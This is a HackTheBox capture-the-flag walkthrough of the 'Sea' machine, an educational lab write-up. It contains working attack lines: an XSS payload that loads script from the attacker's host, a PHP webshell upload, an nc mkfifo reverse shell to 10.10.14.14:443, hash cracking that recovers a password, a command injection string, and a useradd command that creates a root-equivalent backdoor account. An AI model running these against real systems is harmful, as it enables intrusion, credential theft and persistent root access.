Overview

Sea is an easy HackTheBox Linux machine running WonderCMS, a lightweight CMS vulnerable to CVE-2023-41425, a cross-site scripting bug in its login page reachable through a contact form. Deep directory fuzzing is needed just to identify the CMS in the first place, and the public exploit itself needs to be reverse engineered and reproduced manually once its automated payload fails to deliver a shell. A password hash recovered from the CMS’s own database file cracks after correcting for an escaping artifact from copying it out of source code, and root exploits a command injection vulnerability in a custom, root-run system monitoring tool.

Attack Chain

  • Scan the target and find only SSH and HTTP
  • Find a basic company site with a /contact.php form
  • Run extensive directory and virtual host fuzzing to get past a small, mostly Forbidden surface
  • Discover /themes/bike and confirm the site runs WonderCMS
  • Identify CVE-2023-41425, a stored XSS vulnerability in WonderCMS’s login page
  • Trigger the public exploit’s XSS payload through the contact form, but find it fails to deliver a working shell
  • Reverse engineer the exploit’s source to understand it manually creates a webshell and a JavaScript loader
  • Build a custom .zip archive containing a PHP webshell and reproduce the exploit manually
  • Deliver a crafted XSS payload through the contact form to have the target download and extract the archive
  • Access the resulting webshell and execute an nc mkfifo reverse shell payload
  • Catch a shell as www-data
  • Find WonderCMS’s database.js file containing a bcrypt password hash
  • Correct escaped backslashes introduced when copying the hash from source and crack it with john
  • Use the cracked password to switch to the user amay and read the user flag
  • Find a custom system monitoring service, run by root, bound to localhost on port 8080
  • Pivot to it with a ligolo tunnel and authenticate with amay’s credentials
  • Find a file-reading “Analyze” feature vulnerable to command injection
  • Use the injection to add a root-equivalent user directly
  • Switch to the new user and read the root flag

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan.

export IP=10.129.173.209; export NAME=SEA; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -Pn -p- -v -oA scans/nmap_allports_$NAME

The open TCP ports are:

22,80

We export the discovered ports and run a service and version scan.

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -sC -sV -oA scans/nmap_initial_$NAME -v

nmap results


Web Enumeration

Extensive Fuzzing

Browsing to port 80 shows a basic web page for a company organising bike rides.

basic bike rides company page

The page source reveals http://sea.htb/contact.php.

source code reveals contact.php

We navigate to /contact.php to test later, and continue enumerating.

navigating to contact.php

Basic web fuzzing gives us little, mostly small Forbidden responses aside from /contact.php.

dirsearch -u http://$IP:$PORT -t 100 -o ./scans/dirsearch_${NAME}_${PORT}_default.txt -r

dirsearch mostly returns forbidden responses

We add sea.htb to /etc/hosts and try virtual host fuzzing.

ffuf -u http://sea.htb -c -ic -H "HOST: FUZZ.sea.htb" -w /usr/share/seclists/Discovery/DNS/n0kovo_subdomains.txt -t 100

This isn’t successful, so we return to more in-depth web fuzzing, a combined effort across four wordlists, recursively:

dirsearch -u http://$DOMAIN:$PORT -t 100 -o ./scans/dirsearch_${NAME}_${PORT}_default.txt -r;
dirsearch -u http://$DOMAIN:$PORT -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt -t 100 -o ./scans/dirsearch_${NAME}_${PORT}_directories.txt -r;
dirsearch -u http://$DOMAIN:$PORT -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-files.txt -t 100 -o ./scans/dirsearch_${NAME}_${PORT}_files.txt -r;
dirsearch -u http://$DOMAIN:$PORT -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-words.txt -t 100 -o ./scans/dirsearch_${NAME}_${PORT}_words.txt -r;
dirsearch -u http://$DOMAIN:$PORT -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -o ./scans/dirsearch_${NAME}_${PORT}_dir23med.txt -r

We start seeing new results, using raft-large-directories.txt:

new results from raft-large-directories

Identifying WonderCMS

We look at the new endpoints. /themes/bike/summary doesn’t give us much.

/themes/bike/summary

/themes/bike/version reveals the version we’re dealing with.

/themes/bike/version reveals the version

/themes/bike/LICENSE is just a generic license.

/themes/bike/LICENSE

We fuzz /themes/bike more specifically with quickhits.txt.

dirsearch -u http://sea.htb/themes/bike -w /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt -t 100 -o ./scans/dirsearch_${NAME}_${PORT}_themes_quickhits.txt

We find README.md.

finding README.md

We confirm we’re dealing with WonderCMS.

WonderCMS identified

We find a public exploit for WonderCMS 3.2.0:

https://github.com/prodigiousMind/CVE-2023-41425
https://www.exploit-db.com/exploits/52271

Foothold

Triggering the XSS Exploit

For the exploit to work, we need the login endpoint. WonderCMS’s repository indicates the default login is example.com/loginURL.

We navigate to sea.htb/loginURL.

navigating to /loginURL

We execute the exploit with the requested parameters. It runs and produces an XSS payload to send to a user server-side.

the exploit produces an XSS payload

We go to /contact.php, fill in test details, and submit the malicious URL.

submitting the malicious payload via contact.php

The target executes the payload, and we see a request for xss.js.

target requests xss.js

But we don’t get a shell. Visiting the path manually gives a PHP error, Failed to daemonise.

Failed to daemonise error

Reproducing the Exploit Manually

We look at the second exploit’s source code:

https://www.exploit-db.com/exploits/52271

This part creates a webshell:

exploit source creates a webshell

And this part writes a .js file:

exploit source writes a JS file

We reproduce this manually. We create a webshell directory, download WhiteWinterWolf’s php-webshell into it, and zip the whole folder, because the exploit downloads and installs a .zip archive preserving its folder structure under themes.

zip -r webshell.zip webshell

creating the webshell archive

We create a webshell.js file matching the exploit’s format, and host a Python web server for webshell.zip.

webshell.js:

the webshell.js loader file

We craft our XSS payload accordingly, also hosting webshell.js on our Python server:

http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.14:8000/webshell.js"></script><form+action="

We fill out /contact.php again, entering our new payload under Website.

submitting the updated payload via contact.php

After a wait, the target requests webshell.js.

target requests webshell.js

A bit later, webshell.zip is requested too.

target requests webshell.zip

Following our zip archive’s folder structure, our webshell should be at http://sea.htb/themes/webshell/webshell.php.

Our exploit is successful.

the webshell is accessible

Reverse Shell as www-data

We use penelope to listen on port 443, and the nc mkfifo payload from revshells.com:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.14 443 >/tmp/f

We execute the payload.

executing the reverse shell payload

We have a shell as www-data.

shell as www-data


User Access

Cracking the WonderCMS Password Hash

In /var/www/sea/data, we find database.js containing a password hash.

database.js contains a password hash

We look through index.php for clues on how the hash is generated.

cat -n index.php

On line 437, the createDB function shows the password is saved with PHP’s password_hash function.

createDB function in index.php

Per the PHP manual, PASSWORD_DEFAULT is bcrypt, using the $2y$ identifier:

https://www.php.net/manual/en/function.password-hash.php

PHP manual confirms bcrypt uses $2y$

Looking at example hashes, bcrypt is usually shown with $2a$, not PHP’s $2y$.

example hashes use $2a$ instead of $2y$

Since we copied our hash from source code, the backslashes are almost certainly escape characters.

Password hash (raw):

$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q

Password hash (without \ escape characters):

$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q

We save the corrected hash and crack it with john.

john --wordlist=/usr/share/wordlists/rockyou.txt web_php.hash

We have a password.

john cracks the corrected hash

mychemicalromance

We try it against user amay, and it works.

password works for amay

We read the user flag.

user flag


Privilege Escalation

Finding the Monitoring Service

linpeas suggests Polkit CVE-2021-3560, but it doesn’t work.

linpeas suggests Polkit CVE-2021-3560

We notice an interface running locally on port 8080.

local interface on port 8080

We check what’s associated with that port.

grep -R 8080 /etc 2>/dev/null

The service is /etc/systemd/system/monitoring.service, appearing to run as root.

monitoring.service running as root

We look at the service more closely.

cat /etc/systemd/system/monitoring.service

It’s a system monitoring service run by root.

the monitoring.service unit file

Command Injection in the Monitoring Tool

We create a ligolo tunnel to forward the port to our attacking machine. We’re prompted for a login and use amay’s credentials.

ligolo tunnel with amay’s login

We see the interface for the System Monitor software.

System Monitor interface

We look at the “Analyze” function in BurpSuite and see it reads a file on the system.

Analyze function reads a file

We try reading /etc/shadow.

attempting to read /etc/shadow

We get some feedback, but not everything.

partial feedback

We try command injection, starting with ;id, then ;id;. What works is ;id;#.

testing command injection payloads

The response shows our id output, and for some reason the full /etc/shadow content also appears.

id output and full /etc/shadow content

Root via a New User

We try several reverse shells, but they keep terminating. Instead, we add a root-equivalent user directly:

useradd -o -u 0 toor ; echo toor:toor|chpasswd

The command in BurpSuite:

the useradd command via command injection

Checking /etc/passwd from amay confirms toor was added.

toor added to /etc/passwd

We switch to toor.

switching to toor

We read the root flag.

root flag


Key Takeaways

Sea shows that a small, cleanly-fuzzed attack surface can still hide a lot, it took four wordlists and deep recursion just to identify the running CMS in the first place. The stored XSS vulnerability in WonderCMS’s login page is a reminder that reflected input into an authentication page doesn’t stop being dangerous just because it needs a victim to trigger it, and reproducing the public exploit’s logic manually was necessary once the packaged automation didn’t behave as expected in this environment. Root came down to a homegrown monitoring tool with a file-reading feature that turned out to accept shell metacharacters, a reminder that custom-built internal tooling deserves the same scrutiny as any other exposed service, especially once it runs with root privileges.